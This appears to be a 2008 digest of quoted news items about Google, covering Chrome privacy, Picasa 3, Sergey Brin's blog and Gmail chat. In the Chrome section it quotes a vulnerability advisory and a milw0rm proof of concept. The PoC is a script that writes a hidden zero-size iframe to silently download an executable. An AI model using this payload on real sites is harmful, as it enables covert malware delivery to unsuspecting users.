"So is this all a big deal? Well anyone who wants to search your financial information would need local access to your machine and if a person is sitting at your computer, you have a lot more things to worry about than him/her using Chrome’s history search. Conceivably a hacker could develop an app to pull the cache and index files off your computer and examine them later on another machine – these files reside in the “C:\Documents and Settings\USERNAME\Local Settings\Application Data\Google\Chrome\User Data\Default” folder."
"But on a simpler level, if ALL of the sites I visit are being keyworded and indexed locally, then how do I know that this information will stay local. I guess that depends on how much you trust Google."
http://www.tgdaily.com/content/view/39176/108/
EFF: We're concerned about Google's Omnibox
September 3, 2008
"Privacy advocates are starting to sound the alarm over a feature in Google's Chrome that sends anything typed in the browser's Omnibox back to Google."
"Google told CNET News earlier Wednesday that it plans to store about 2 percent of the data it gets back, along with the IP address of the computer that sent it. Google said it won't receive or store data if users turn off the auto-suggest feature or if they select a default search provider other than Google or if they are using the product's "Incognito" mode."
"Still, EFF staff technologist Peter Eckersley said in an interview that he is concerned about Google having yet another window into what the world is browsing."
""We're worried that Chrome will be another giant conveyer belt moving private information about our use of the Web into Google's data vaults," Eckersley said. "Google already knows far too much about what everybody is thinking at any given moment."
""The addition of Incognito is great," he said, adding that Google is making some strides with Chrome, clearly recognizing that people want to be able to surf the Web without having a record of it stored in various places."
""We are genuinely really worried about the Omnibox thing," he said. "It's just one more piece of the complete puzzle of Google seeing everything that everyone is doing.""
http://news.cnet.com/8301-13860_3-10032047-56.html
Google admits Chrome tracks web addresses
September 4, 2008
"Google has admitted the auto-suggest feature of Chrome's Omnibox gives it potential access to users' keystrokes, providing the company with a wealth of information on the browsing habits of its users."
""When you type URLs or queries in the address bar, the letters you type are sent to Google so the Suggest feature can automatically recommend terms or URLs you may be looking for," the company notes in its privacy policy."
""If you choose to share usage statistics with Google and you accept a suggested query or URL, Google Chrome will send that information to Google as well. You can disable this feature.""
"Unlike searching through Google, so long as the user has auto-suggest enabled, and Google set as their default search engine, the Omnibox will grant Google access to search enquiries without the user ever hitting the enter key."
"Google says it intends to store about 2% of this information, alongside the IP address of the computer that typed it."
"Given that current figures reveal Chrome has already grabbed 1% of the browser market, this could represent a huge amount of information."
http://www.pcpro.co.uk/news/222834/google-admits-chrome-tracks-web-addresses.html
Google Chrome Browser 0.2.149.27
"Software:"
"Google Chrome Browser 0.2.149.27"
"Tested:"
"Windows XP Professional SP3"
"Result:"
"Google Chrome Crashes with All Tabs"
"Problem:"
"An issue exists in how chrome behaves with undefined-handlers in chrome.dll version 0.2.149.27. A crash can result without user interaction. When a user is made to visit a malicious link, which has an undefined handler followed by a 'special' character, the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed. Restart now?". It crashes on "int 3" at 0x01002FF3 as an exception/trap, followed by "POP EBP" instruction when pointed out by the EIP register at 0x01002FF4."
http://evilfingers.com/advisory/google_chrome_poc.php
Author: nerex
"E-mail: nerex[at]live[dot]com"
"Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically downloaded to the user's computer without any user prompt."
"This proof-of-concept was created for educational purposes only."
"Use the code it at your own risk."
"The author will not be responsible for any damages."
"Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)"
"<script>"
"document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');" "</script>"
"# milw0rm.com [2008-09-03]"
http://www.milw0rm.com/exploits/6355
Introducing Picasa 3.0 (and big changes for Picasa Web Albums)
September 2, 2008
"A little over two years ago, we launched Picasa Web Albums to make publishing photos online easy. Now Picasa Web Albums hosts billions of online photos from around the globe, with users adding millions of new snapshots every day."
"Today, we're rolling out major technology upgrades to both Picasa and Picasa Web Albums. As you might have guessed, these are largely focused on how we share and enjoy our photos with others."
"For starters, there's a brand-new feature called "name tags" in Picasa Web Albums that helps you quickly label all the people in your photos, so you can organize and share your photos based on who's in the picture. Name tags uses advanced technology to automatically group similar faces together. That way, you can quickly label all the people you care about in your photo collection. Once you've labeled your photos, it's then a snap to do things like create a slideshow with every picture of you and your best friend, or easily share party photos with everybody who appears in that photo album."
"There's more to Picasa Web Albums. The site now has a fresh, clean look that makes photos look great, and a new "Explore" page that allows you to browse some of the most interesting public content on our site, including "Recent Photos," a near-real-time view of public photos uploaded to Picasa Web Albums. You can now also email photos directly to Picasa Web Albums."
"Sharing photos with Picasa has always been remarkably simple, but in Picasa 3, we've made sharing so simple you don't even have to lift a finger. A new 'sync to web' button allows you to sync specified albums on your PC to the web. If you edit or add photos to the album on your PC, those changes will be automatically reflected on Picasa Web Albums. You can even specify who you'd like to share your web albums with from the Picasa software itself."
"We've packed many other new features into Picasa 3. There's a slew of powerful new editing tools to retouch and restore photos, automatically detect and fix red-eye, or attractively add text to your images. Plus, there's plenty of the fun stuff -- we completely overhauled things like photo collages and slideshows, giving you more creative freedom over composition and layout. Not to mention a brand- new movie maker that can blend photos, video, webcam capture, and music to create customized movies that you can easily share on YouTube."
"You can learn more about Picasa 3 and the new Picasa Web Albums on the Google Photos blog, or by watching the overview video below."
http://googleblog.blogspot.com/2008/09/introducing-picasa-30-and-big-changes.html
Announcing Picasa 3.0 and a new version of Picasa Web Albums!
September 2, 2008
"Today, we're pleased to announce the public beta of Picasa 3.0, the next generation of Google's photo management software. We're also launching a redesigned Picasa Web Albums with a brand-new 'name tags' feature, which gives you the power to quickly label and organize your photos based on who's in each picture."
"New controls in Picasa 3 make it much easier to quickly upload photos, and we've added a new 'sync to web' feature that automatically updates online albums when you add or edit photos on your computer."
"Picasa Web Albums now includes a new 'name tags' feature that helps organize your growing photo collection by people. Opt-in to name tags, and our technology automatically groups photos containing similar faces. Instead of asking you to painstakingly label pictures one-by- one, name tags lets you rapidly tag many photos at once. By doing so, you can easily find that photo of your cousin from two years ago; create a slideshow of you and your best friend, or share an album with everybody who appears in the photos."
"We'll be exploring more of what's new in Picasa 3 (beta) on this blog tomorrow. And over the next couple weeks, we'll have daily posts to help introduce you to some of our favorite new features on Picasa Web Albums and inside Picasa 3."
http://googlephotos.blogspot.com/2008/09/announcing-picasa-30-and-new-version-of.html
Picasa Web Albums: Introducing name tags
"The name tags feature in Picasa Web Albums helps you automatically organize and share your photos based on who's in them."
http://www.youtube.com/watch?v=teeGF-w5Cpw
Picasa 3 feature overview
http://picasa.google.com/support/bin/answer.py?answer=93773
Picasa
http://picasa.google.com/intl/en_us/
Picasa Web Albums
http://picasaweb.google.com/home
Google News Archive Search
http://news.google.com/archivesearch
Bringing history online, one newspaper at a time
September 8, 2008
"For more than 200 years, matters of local and national significance have been conveyed in newsprint -- from revolutions and politics to fashion to local weather or high school football scores. Around the globe, we estimate that there are billions of news pages containing every story ever written. And it's our goal to help readers find all of them, from the smallest local weekly paper up to the largest national daily."
"The problem is that most of these newspapers are not available online. We want to change that."
"Today, we're launching an initiative to make more old newspapers accessible and searchable online by partnering with newspaper publishers to digitize millions of pages of news archives."
"Not only will you be able to search these newspapers, you'll also be able to browse through them exactly as they were printed -- photographs, headlines, articles, advertisements and all."
"You’ll be able to explore this historical treasure trove by searching the Google News Archive or by using the timeline feature after searching Google News. Not every search will trigger this new content, but you can start by trying queries like [Nixon space shuttle] or [Titanic located]. Stories we've scanned under this initiative will appear alongside already-digitized material from publications like the New York Times as well as from archive aggregators, and are marked "Google News Archive." Over time, as we scan more articles and our index grows, we'll also start blending these archives into our main search results so that when you search Google.com, you'll be searching the full text of these newspapers as well."
http://googleblog.blogspot.com/2008/09/bringing-history-online-one-newspaper.html
Google Audio Indexing now on Google Labs
September 16, 2008
"We just launched Google Audio Indexing (aka GAudi) in Google Labs. The dedicated site offers more features, such as "search within video" and "sharing," and a more robust user interface."
http://googleblog.blogspot.com/2008/09/google-audio-indexing-now-on-google.html
Google Audio Indexing
Google Audio Indexing FAQ
"Google Audio Indexing is a new technology from Google that allows users to better search and watch videos from various YouTube channels. It uses speech technology to find spoken words inside videos and lets the user jump to the right portion of the video where these words are spoken."
http://labs.google.com/gaudi/static/faq.html
Google Audio Indexing Forum
http://groups.google.com/group/google-audio-indexing/
Sergey Brin Launches Personal Blog
September 18, 2008
"The most outgoing Google co-founder, Sergey Brin, launched a personal blog at too.blogspot.com. "While Google is a play on googol, too is a play on the much smaller number - two. It also means in addition, as this blog reflects my life outside of work," explains Sergey Brin."
"The first blog post is somber: Sergey discovered that he has a "higher chance of developing Parkinson's in [his] lifetime than the average person"."
http://googlesystem.blogspot.com/2008/09/sergey-brin-launches-personal-blog.html
Google co-founder Sergey Brin starts blogging at Too
September 18, 2008
"Google co-founder Sergey Brin became the first of the powerful triumvirate that runs the Internet search giant to start a personal blog for public consumption. He calls it Too."
"Google confirms that this is the real Brin, not a fake one, a la Steve Jobs a.k.a. Dan Lyons. And that much is apparent from the very first post, which explains the blog's name: "Welcome to my personal blog. While Google is a play on googol, too is a play on the much smaller number -- two. It also means 'in addition,' as this blog reflects my life outside of work.""
"In his second post, he struck a more serious note. Through 23andMe, the genetics testing start-up co-founded by his pregnant wife, Anne Wojcicki, he learned that he is more likely than the average person to develop Parkinson's Disease. (In fact, his interest in Parkinson's introduced him to Wojcicki.)"
"The blog post is named after the gene, LRRK2, that carries a mutation called G2019S. Brin's mother and her aunt have Parkinson's, and his family is devoting quite a bit of energy and money to research into the disease. Knowing that he is at risk will help him take steps that could mitigate that risk, such as exercising, which may protect against Parkinson's, Brin said."
http://latimesblogs.latimes.com/technology/2008/09/google-co-found.html
Google co-founder starts personal blog
September 18, 2008
"Sergey Brin, the co-founder of Google, has said he will help the fight against Parkinson's."
"Writing in a newly-formed personal blog, called Too., he announces that a genetic test has shown he has a mutation of gene LRRK2 called G2019S, which means he "has a markedly higher chance of developing Parkinson's... than the average person"."
"Brin's mother has Parkinson's but it is not a hereditary disease."
"The test was carried out by a firm called 23andMe, the co-founder of which, Anne Wojcicki, is Brin's wife."
"Google invested in the firm last year."
"Scientists battling Parkinson's and families whose loved ones have the condition will no doubt be glad to hear that one of the world's richest and resourceful men has vowed to fight it."
"Brin's public disclosure of his genetic test is also interesting. Brin is a very private man but in writing a blog he has exposed his private life in a way we have not seen before."
http://www.bbc.co.uk/blogs/technology/2008/09/google_cofounder_starts_person.html
Now Blogging: Google Cofounder Sergey Brin
September 18, 2008
"Sergey Brin becomes the first of Google's three major executives to begin blogging. Spotted via TechCrunch, his blog at too.blogspot.com covers today his personal experience of being at risk for Parkinson's Disease. In his first post, he explains the name of his blog:"
"Welcome to my personal blog. While Google is a play on googol, too is a play on the much smaller number - two. It also means "in addition", as this blog reflects my life outside of work."
"So far, neither Brin, his fellow Google cofounder Larry Page or Google CEO Eric Schmidt blog regularly on business issues, though its something Google would love to see."
"Postscript: You can comment on the blog, by the way, but so far if anyone has tried, they are held in moderation. There's also a very nice reality check message that comes up if you try to post:"
"While I would like to receive and post many insightful comments, realistically I am unlikely to be able to read through all of them and may accept very few or none at all. Thank you for your understanding."
"Postscript 2: Gary Price of ResourceShelf tells me that Brin and his parents have donated $1.5 million to endow a professor's chair at the University of Maryland, to help with research into Parkinson's."
http://searchengineland.com/080918-175613.php
Sergey Brin starts blog, tells of Parkinson's risk
September 18, 2008
"Google co-founder Sergey Brin launched his personal blog on Thursday with some sobering news: he carries a particular genetic mutation that means he's much more likely than average to get Parkinson's disease."
"The inaugural post on Brin's blog, too.blogspot.com, is titled "LRRK2" after the gene that he found carries a mutation called G2019S, which, "while rare even among people with the disease, accounts, in some ethnic groups, for a substantial proportion of familial Parkinson's," Brin said in the blog post."
""It is clear that I have a markedly higher chance of developing Parkinson's in my lifetime than the average person. In fact, it is somewhere between 20 percent to 80 percent, depending on the study and how you measure," Brin said."
"Brin's mother and her aunt both have Parkinson's, and recent research has uncovered a genetic link in some cases of the disease, Brin wrote. And through the services of start-up 23andMe, co-founded by his wife, Anne Wojcicki, and Linda Avey, he found that he carries the same mutation. The research is still early, though, he said. And he had an optimistic take on the news."
http://news.cnet.com/8301-1023_3-10045958-93.html
Googler Gets Personal
September 19, 2008
"In a post on his brand new blog, Google co-founder Sergey Brin shared some personal news: he is predisposed to Parkinson’s disease."
"The blog lives at Too.blogspot.com (Powered by Google’s Blogger blogging service, of course). Brin chose the name, he writes, as a play on the word “two” and because it means “in addition”. The blog aims to reflect his life outside of work."
http://blogs.wsj.com/biztech/2008/09/19/googler-gets-personal/
Google co-founder's shock announcement
September 19, 2008
"Google co-founder Sergey Brin has used his blog to promote his wife's genetic testing company by announcing that he is predisposed to developing Parkinson's disease, although Australian experts have warned that genetic tests sold directly to the consumer are a waste of money."
"Brin, whose mother suffers from the disease, said he had a 20 per cent to 80 per cent higher chance of developing Parkinson's in his lifetime than the average person."
"Genetic testing by his wife's company, 23andMe, discovered Brin and his mother had the G2019S mutation of the LRRK2 gene, which Brin said scientists had found was present in "a substantial proportion of familial Parkinson's"."
http://www.smh.com.au/news/biztech/google-founders-shock-announcement/2008/09/19/1221331178163.html
Sergey Brin's blog:
too
Google Desktop 5.8 for Windows: increased performance
September 15, 2008
"one of the themes that has cropped up in the Google Desktop Help group is that you want a lighter, faster product. We heard the message loud and clear and decided that the Google Desktop 5.8 for Windows release would be based entirely on performance."
"In true Google fashion, we took a data-driven approach: Measure, then analyze, fix the most important issues and lowest hanging fruit, then rinse, lather and repeat."
"First, we built performance tests that simulate a typical user's behavior when using Google Desktop and measure the time spent on actions such as starting up, shutting down, searching, adding a gadget, adding a new document to the search index, and so forth. We then took a page from the Google Chrome playbook by running the performance tests automatically for every single change we made to the software, on dozens of machines each time so that an average of the time measurements from all of them would give us a reliable comparison against previous versions."
"Next, we refined an option that helps us improve the product, with your agreement. To send us information about problems you might experience, you can opt in to our error reporting system. If you have opted in, the system will send us anonymous diagnostic information about such events as crashes. In the new version, we improved this system to also detect and report situations where our product could be making your computer slow to respond."
"We've learned a lot from these two new sources of data. The performance measurement system enabled us to discover some seemingly small changes that had a major impact on performance. We've been able to immediately fix changes that decreased performance, and learn from changes that improved performance. For example:"
"• We found a way to cut memory usage during startup by about 50%."
"• Shutdown now happens five times faster, and we were able to avoid a seemingly innocuous state that would have almost doubled startup time."
"From automated error reports sent by our beta testers, we learned that while Google Desktop generally performs very well, certain types of usage and some interactions with 3rd party software can trigger problems. We've made dozens of improvements based on this data. Here are some examples of what we've been able to fix:"
"• A few obscure cases where interaction with third party software could slow the computer down when certain types of files were being added to the search index."
"• A rare issue that could cause slower computers to become temporarily unresponsive during Google Desktop startup."
"We still weren't satisfied, so we analyzed the design of our software to find ways to improve it. This led us to make a few more changes:"
"• We realized that with the hundreds of Google Desktop Gadgets available from third parties, there is always the possibility that one of them performs badly. To help you deal with this, we added a system that detects when a gadget is causing your computer to perform poorly, and asks you whether to remove the gadget. While we were at it, we added proactive security measures that prevent malicious gadgets from stealing information from other gadgets, and we made changes that allow Flash programs such as interactive games to be embedded in gadgets; for certain types of gadgets this can be a lighter weight approach than previously possible."
"• To reduce memory usage, increase stability and reduce memory fragmentation, we reduced the number of different processes that Google Desktop runs, and we now recycle some of our processes frequently."
http://googleblog.blogspot.com/2008/09/google-desktop-58-for-windows-increased.html
Official Google blogs are now mentioned on the Google Press Center main page:
http://www.google.com/press/blogs/directory.html#tab0
Google Blogs gadget:
http://www.google.com/ig/directory?url=www.google.com/ig/modules/google_blogs.xml
Now, read us in gadget form
September 21, 2008
"Our corporate blog network is more than four years old now. We offer blogs about Google products and initiatives, local blogs (for 11 countries), blogs for advertisers and publishers, and a stable of blogs for developers."
"To help you keep track of our news and updates more easily, we've created a new Blog Directory (which links from the main page on this blog) and an iGoogle gadget so you can stay current right from your dashboard. If you'd prefer to read recent posts by category, install our iGoogle blog tab (the customizable tab will load upon clicking), which will always show you the most recent blog updates by categories such as 'Open Source,' 'Mobile' or 'Publishers.' There are 16 categories, so you can pick and choose which ones to keep on your page after adding."
http://googleblog.blogspot.com/2008/09/now-read-us-in-gadget-form.html
Google 10th Birthday
"Project 10^100"
"Want to change the world? We do too. We're looking for big ideas that help as many people as possible, and we're committed to making the best ones happen."
http://www.google.com/tenthbirthday/
Project 10^100
September 24, 2008
"If you could suggest a unique idea that would help as many people as possible, what would it be?"
"To mark our 10th birthday and celebrate the spirit of our users and the web, we're launching Project 10^100 (that's "ten to the hundredth") a call for ideas that could help as many people as possible, and a program to bring the best of those ideas to life."
"Ideas are due by October 20, 2008. Get started submitting your own ideas, and come back on January 27th to vote on ideas from others. We hope you feel inspired enough to try. Good luck, and may the ones who help the most win."
http://googleblog.blogspot.com/2008/09/project-10100.html
Project 10^100
http://www.project10tothe100.com/
Project 10^100 FAQ
"Q: What is Project 10^100?"
"A: Project 10^100 (pronounced "Project 10 to the 100th") is a call for ideas to change the world, in the hope of helping as many people as possible."
"Q: Why is Google doing this?"
"A: The short answer is that we think helping people is a good thing, and empowering people to help others is an even better thing."
http://www.project10tothe100.com/faq.html
Google Labs: In Quotes
http://labs.google.com/inquotes/
Google Labs: In Quotes FAQ
"What is 'In Quotes'?"
"The "In Quotes" feature allows you to find quotes from stories linked to from Google News. These quotations are a valuable resource for understanding where people in the news stand on various issues. Much of the published reporting about people is based on the interpretation of a journalist. Direct quotes, on the other hand, are concrete units of information that describe how newsmakers represent themselves. Google News compiles these quotations from online news stories and sorts them into browsable groups based on who is being quoted."
"Similar to article selection and placement on Google News, quotes and their speakers are determined automatically by a computer program and we don't guarantee the completeness or accuracy of the information you may see. The dates you see represent when the article in which the quote appears was added to Google News. The views expressed in the quotes do not necessarily reflect the views of Google Inc. or its employees."
http://labs.google.com/inquotes/about.html
Google Labs: In Quotes Forum
http://groups.google.com/group/in-quotes-google-labs
Google Finding Quotes
September 24, 2008
"Google added a new service to their Labs called Google In Quotes. This site lets you enter a keyword and then shows you what some politicians – from Canada, India, UK and USA, like Gordon Brown or George W. Bush – said about this topic. Quotes are shown side-by-side for comparison. In the top right, you can switch to another country edition. Already, Google has a quote finder in Google News, and Google In Quotes is also linked to Google News."
http://blogoscoped.com/archive/2008-09-24-n57.html
Compare Political Quotes
September 24, 2008
"Google Labs added a new experimental service: In Quotes, which compares what different politicians say about popular issues like health care, taxes, environment. The service uses a feature from Google News that detects quotes in news articles and a public API that offers programmatic access to the quotes."
http://googlesystem.blogspot.com/2008/09/compare-political-quotes.html
Google Moderator
Google Moderator Help
http://www.google.com/support/faqs/bin/topic.py?topic=15799
Google Moderator - Featured series:
"Ask a world leader"
"Suggest an Android Application"
"U.S. Presidential Debates 2008"
"Ask a Google engineer"
"Google Moderator Help, Bugs & Feature Requests"
http://moderator.appspot.com/#e=
What would you ask Senators McCain and Obama?
September 26, 2008
"While we're not officially part of the Commission of Presidential Debates, a few days ago we launched Google Moderator. It's a free tool which enables communities to submit and vote on questions for debates, presentations and events. This way, the best and most representative questions rise to the top."
"One of the featured series on Google Moderator is U.S. Presidential Debates 2008 which, at the time of this writing, has 730 people already contributing 230 questions that have over 11,000 votes."
http://googleblog.blogspot.com/2008/09/what-would-you-ask-senators-mccain-and.html
Introducing Google Moderator on App Engine
September 24, 2008
"I designed a tool in my 20% time that would allow anyone attending a tech talk to submit a question, and then give other participants a way to vote on whether or not that question should be asked. This way, the most popular and relevant questions would rise to the top so that the presenter or the moderator of an event could run the discussion more efficiently and in a transparent manner. The tool, which we internally called "Dory" after our favorite question-asking fish in Finding Nemo, quickly grew to other parts of Google including our weekly all-hands company meeting, as well as for our series of talks led by political candidates or distinguished authors."
"Several of our colleagues and visitors to Google have asked if we could make it available externally for any kind of talk, presentation and/or event. Conveniently, Google App Engine launched in April and made it easy for us to do this! As a result, we're pleased to release this tool, now called Google Moderator, on Google App Engine. Google Moderator is available now and is free to use. To get started go to moderator.appspot.com and sign in to your Google Account."
http://googleappengine.blogspot.com/2008/09/introducing-google-moderator-on-app.html
Google has published Google Toolbar 5 Beta (while the current version seems to be 3):
Google Toolbar 5 now available in Firefox
September 26, 2008
"Starting today, you can download the latest version of Google Toolbar for Firefox, available in 29 languages. This new version is the first Toolbar launched out of our St. Petersburg, Russia office. It includes all the Toolbar features you know and love, such as Search, Bookmarks and Translate. When you install it, you can try out some of our newest features."
http://googleblog.blogspot.com/2008/09/google-toolbar-5-now-available-in.html
Google Toolbar 5 Beta for Firefox
http://www.google.com/tools/firefox/toolbar/FT5/intl/en/index.html
Google Toolbar 3 for Firefox
http://www.google.com/tools/firefox/toolbar/FT3/intl/en/
Facts about the Yahoo-Google advertising agreement
"In June 2008, Yahoo! and Google announced a non-exclusive advertising agreement that will provide Yahoo! with access to Google’s AdSense advertising programs on their U.S. and Canadian web properties. Here are the facts:"
"• This is a non-exclusive deal that will strengthen Yahoo!."
"• Ad prices will continue to be set by competitive auction."
http://www.google.com/yahoogooglefacts/
http://www.yahoogooglefacts.com/
Facts about the deal
"In June 2008, Yahoo! and Google announced a non-exclusive advertising agreement that will provide Yahoo! with access to Google’s AdSense advertising programs on their U.S. and Canadian web properties. The deal lets Yahoo! use Google’s advertising technology to provide more and better ads, benefiting advertisers, publishers, and consumers. There has been some recent discussion about the potential impact of the agreement. Here are the facts:"
"How will the Google-Yahoo! agreement affect ad prices?"
"Neither Google nor Yahoo! set ad prices. Ads are priced by an auction where an advertiser only bids what an ad is worth to them. And because of the wide variety of keywords and ads it is impossible for anyone to predict with certainty what might happen to prices for individual queries or even across the board. Furthermore, ad price is only one part of the story. A more important measure for advertisers large and small is the return on investment of their advertising dollar. The Google-Yahoo! agreement will help advertisers convert more clicks into customers by showing more relevant ads on Yahoo!, giving advertisers a better return for every dollar they invest."
"How will this agreement affect competition?"
"This agreement - unlike Microsoft's proposed acquisition of Yahoo! - means that Yahoo! will remain an independent company in the business of search and advertising. Yahoo! has stated that it will reinvest the additional revenue from this agreement into improving its user services and competing vigorously against Google, Microsoft and other companies. This is similar to other standard business practices where competitors share components."
"There is a claim that Google and Yahoo! will control 90% of search advertising revenue. Is this true?"
"No. This agreement is not a merger. This is about expanding the pie, not dividing it differently. Yahoo! will continue to run its own search engine and advertising system. Yahoo! will benefit from Google’s ad-placement technology, while maintaining control over how much and what inventory they make available to Google. Yahoo! will invest the resulting additional revenue in remaining a viable competitor in search advertising."
http://www.google.com/yahoogooglefacts/agreement.html
Facts about our deal with Yahoo!
September 25, 2008
"Some people have questions about our advertising agreement with Yahoo! and there are some misconceptions about it. So today we are putting facts about the deal on a new website to provide more information on the agreement and why it is good for consumers, advertisers and publishers. We'll be updating the site regularly, so check back when you have additional questions."
http://googleblog.blogspot.com/2008/09/facts-about-our-deal-with-yahoo.html
Google 2001 Search
http://www.google.com/search2001.html
Google 2001 Search FAQ
Why is this cool?
"The World Wide Web and the world have both changed a lot since 2001. Searching Google's 2001 index illustrates both points in what we think is a pretty entertaining way. If you searched on "Michael Phelps" in 2001 for instance, you were probably looking for the scientist, not the swimmer, "ipod" didn't refer to a music player, and "youtube" didn't refer to much of anything."
Since this is for Google's 10th birthday, why are you showing us 2001 and not 1998?
"Well, for various technical reasons that are too boring to go into, earlier versions of our index aren't readily accessible. But we did still want to offer users a chance to search an older index as a way of looking back at web history, and the January 2001 index is the best we can do. We hope you enjoy it."
http://www.google.com/search2001faq.html
Google Time Machine: the Web in 2001
September 30, 2008
"Google brought back the index from January 2001 to show how many things have changed in almost 8 years. At that time, Google's index included 1,326,920,000 web pages and it was the most comprehensive index of a search engine."
http://googlesystem.blogspot.com/2008/09/google-time-machine-web-in-2001.html
2001: A search odyssey
September 30, 2008
"Now that we're a decade old, we figured we're long overdue for some spring cleaning. We started digging around our basement and found all kinds of junk: old Swedish fish, pigeon poop, Klingon translation books. Amazingly enough, hidden in a corner beneath Larry's and Sergey's original lab coats, we found a vintage search index in mint condition. We dusted it off and took it for a spin, gobsmacked to see how different the web was in early 2001. "iPod" did not refer to a music player, "youtube" was nonsense, and if you were looking for "Michael Phelps," chances are you meant the scientist, not the swimmer."
"we worked with the Internet Archive to link to their cache of these pages from 2001. Step into the time machine and try a 2001 Google search."
http://googleblog.blogspot.com/2008/09/2001-search-odyssey.html
Saving electricity one data center at a time
October 1, 2008
"Hundreds of millions of users access our services through the web, and this traffic requires lots of computers. We strive to offer great Internet services while taking our energy use very seriously. That's why, nearly a decade ago, we started work to optimize the energy efficiency of our servers and later set out to build the most environmentally sustainable data centers possible. We now believe that Google-designed data centers are the most efficient in the world."
"Google-designed data centers use nearly five times less energy than conventional facilities to feed and cool the computers inside. Our engineers worked hard to optimize every element in the data center, from the chip to the cooling tower."
"To learn more about our 5-step approach to efficiency, please check out our new website about efficient data centers."
http://googleblog.blogspot.com/2008/10/saving-electricity-one-data-center-at.html
Commitment to Sustainable Computing
"Hundreds of millions of users access our services through the web, and supporting this traffic requires lots of computers. We strive to offer great internet services while taking our energy use very seriously. That's why, almost a decade ago, we started our efforts to make our computing infrastructure as sustainable as possible. Today we are operating what we believe to be the world's most efficient data centers."
"Our five step plan"
"1. Minimize electricity used by servers"
"2. Reduce the energy used by the data center facilities themselves"
"3. Conserve precious fresh water by using recycled water instead"
"4. Reuse or recycle all electronic equipment that leaves our data centers"
"5. Engage with our peers to advance smarter energy practices"
http://www.google.com/corporate/datacenters/
Google Voter Info Map
Now's the time: Register to vote
October 1, 2008
"We're trying to help increase participation by making sure you have easy access to voting information. Google's Voter Info Map currently puts registration, absentee and early voting information in one place."
http://googleblog.blogspot.com/2008/10/nows-time-register-to-vote.html
Google 2008 US Election Trends
"See what Americans are searching for on politics"
http://www.google.com/intl/en/trends/elections/
The Presidential debate: Expanding the town hall
October 8, 2008
"As we promised, here's an update on the search patterns we observed during last night's presidential debate. While a few lucky citizens were able to ask the candidates questions directly, millions of others used Google to find their answers."
"Using Google Hot Trends you can see some of the more interesting things people were researching during this debate. Visit Google Election Trends to learn about longer-term election-related Google search queries, and read our previous post for the earlier VP debate queries."
http://googleblog.blogspot.com/2008/10/presidential-debate-expanding-town-hall.html
Google Announces AdSense for Games in Effort to Fuel the Growth of Online Gaming
October 8, 2008
"Every week, over 25% of Internet users worldwide play online games, which amounts to over 200 million people. This number is growing at a rate of almost 17% each year."
"To continue to fuel the growth of online games for users and as part of our ongoing efforts to develop new ways for publishers to earn revenue, Google announced today the availability of AdSense for Games, a program that integrates video advertisements into web-based games, complemented by text and image ads. The program helps advertisers reach its audiences in new ways. Google is working with select game developers and publishers including Konami, Playfish, Zynga, Demand Media, games network Mochi Media, as well as beta advertisers such as Esurance, Sprint, and Sony Pictures."
"With this program, advertisers can now reach the growing number of gamers who are engaged in online play. For instance, in anticipation of a sporting event, an advertiser can use the technology of AdSense for Games to feature its logo within that sports event's accompanying online game and reach its relevant demographic as a result."
http://www.google.com/intl/en/press/annc/adsense_games.html
AdSense for Games: Example Ad Placement in Word Challenge by Playfish
http://www.youtube.com/watch?v=ZPAslXR6xCc
Google In-Game Advertising (Google AdSense for Games)
http://www.google.com/ads/games/index.html
Google AdSense
https://www.google.com/adsense/
Google Technology RoundTable
"Here, Alfred Spector, VP of Research and Special Initiatives at Google, hosts the Google Technology RoundTable, the show that takes you deep inside Google to explore some of our most exciting projects and hear from the engineers driving the innovative research behind them."
http://research.google.com/roundtable/
RoundTable videos at YouTube channel: Life at Google
http://www.youtube.com/user/lifeatgoogle
New Technology Roundtable series
October 6, 2008
"We've just posted the first three videos in the Google Technology Roundtable Series. Each one is a discussion with senior Google researchers and technologists about one of our most significant achievements. We use a talk show format, where I lead a discussion on the technology."
"While the videos are intended for a reasonably technical audience, I think they may be interesting to many as an overview of the key challenges and ideas underlying Google's systems. And of course they offer a glimpse into the people behind Google."
http://googleblog.blogspot.com/2008/10/new-technology-roundtable-series.html
Talk face-to-face right from within Gmail
November 11, 2008
"Today we're introducing Gmail voice and video chat, which lets you have free voice and video conversations right from within Gmail."
"Video chatting from Gmail is as easy as sending an instant message. With our team spread out across Google offices in Sweden and the U.S., it's been really handy in helping us work together. Just click on the new "Video & more" menu in a Gmail chat window and select "Start video chat" or "Start voice chat." You can switch to a full screen view or pop out the chat window and change the size and positioning as you wish. Of course, not everyone has a webcam, but even if you don't, you can still have voice conversations alongside your email and regular chat."
http://googleblog.blogspot.com/2008/11/talk-face-to-face-right-from-within.html
Say hello to Gmail voice and video chat
November 11, 2008
"I'm a big user of Gmail chat. Being able to switch from email to chat as needed, all within the same app, is really great for productivity. But people can only type so fast, and even with our new emoticons, there are still some things that just can't be expressed in a chat message."
"That's why today we're launching voice and video chat -- right inside Gmail. We've tried to make this an easy-to-use, seamless experience, with high-quality audio and video -- all for free. All you have to do is download and install the voice and video plugin and we take care of the rest. And in the spirit of open communications, we designed this feature using Internet standards such as XMPP, RTP, and H.264, which means that third-party applications and networks can choose to interoperate with Gmail voice and video chat."
"Once you install the plugin, to start a video chat, just click on the "Video & more" menu at the bottom of your Gmail chat window, and choose "Start video chat." You'll have a few seconds to make sure you look presentable while it's ringing, and then you'll see and hear your friend live, right from within Gmail."
http://gmailblog.blogspot.com/2008/11/say-hello-to-gmail-voice-and-video-chat.html
Gmail launches voice and video chat
November 11, 2008
"Google today launched Gmail voice and video chat, making it simple for people around the world to chat in high-quality video for free right within Gmail. All you need is a webcam and a small web browser plugin, and you can start video chatting with your friends, family, and coworkers on Gmail and Google Apps. Gmail voice and video chat lets you start a video chat without switching to another application or signing up for another account. And if you don't have a webcam, you can simply chat by voice. We've made it easy enough that your mom -- or your employees -- will actually use it."
http://www.google.com/intl/en/press/annc/gmail_vvchat.html
Gmail launches themes, voice and video chat
December 1, 2008
"This month we introduced Gmail themes in 50 languages. Similar to iGoogle, these 31 different themes range from options that simply change colors to ones that change based on the time of day or the weather. To customize your inbox, go to the "Themes" tab under "Settings." We also rolled out Gmail voice and video chat for Macs and PCs, supporting 53 languages"
http://groups.google.com/group/google-friends/browse_thread/thread/20a5bd21c06e2943
Serena to Dump Microsoft Exchange for Google Gmail, the Cloud
November 13, 2008
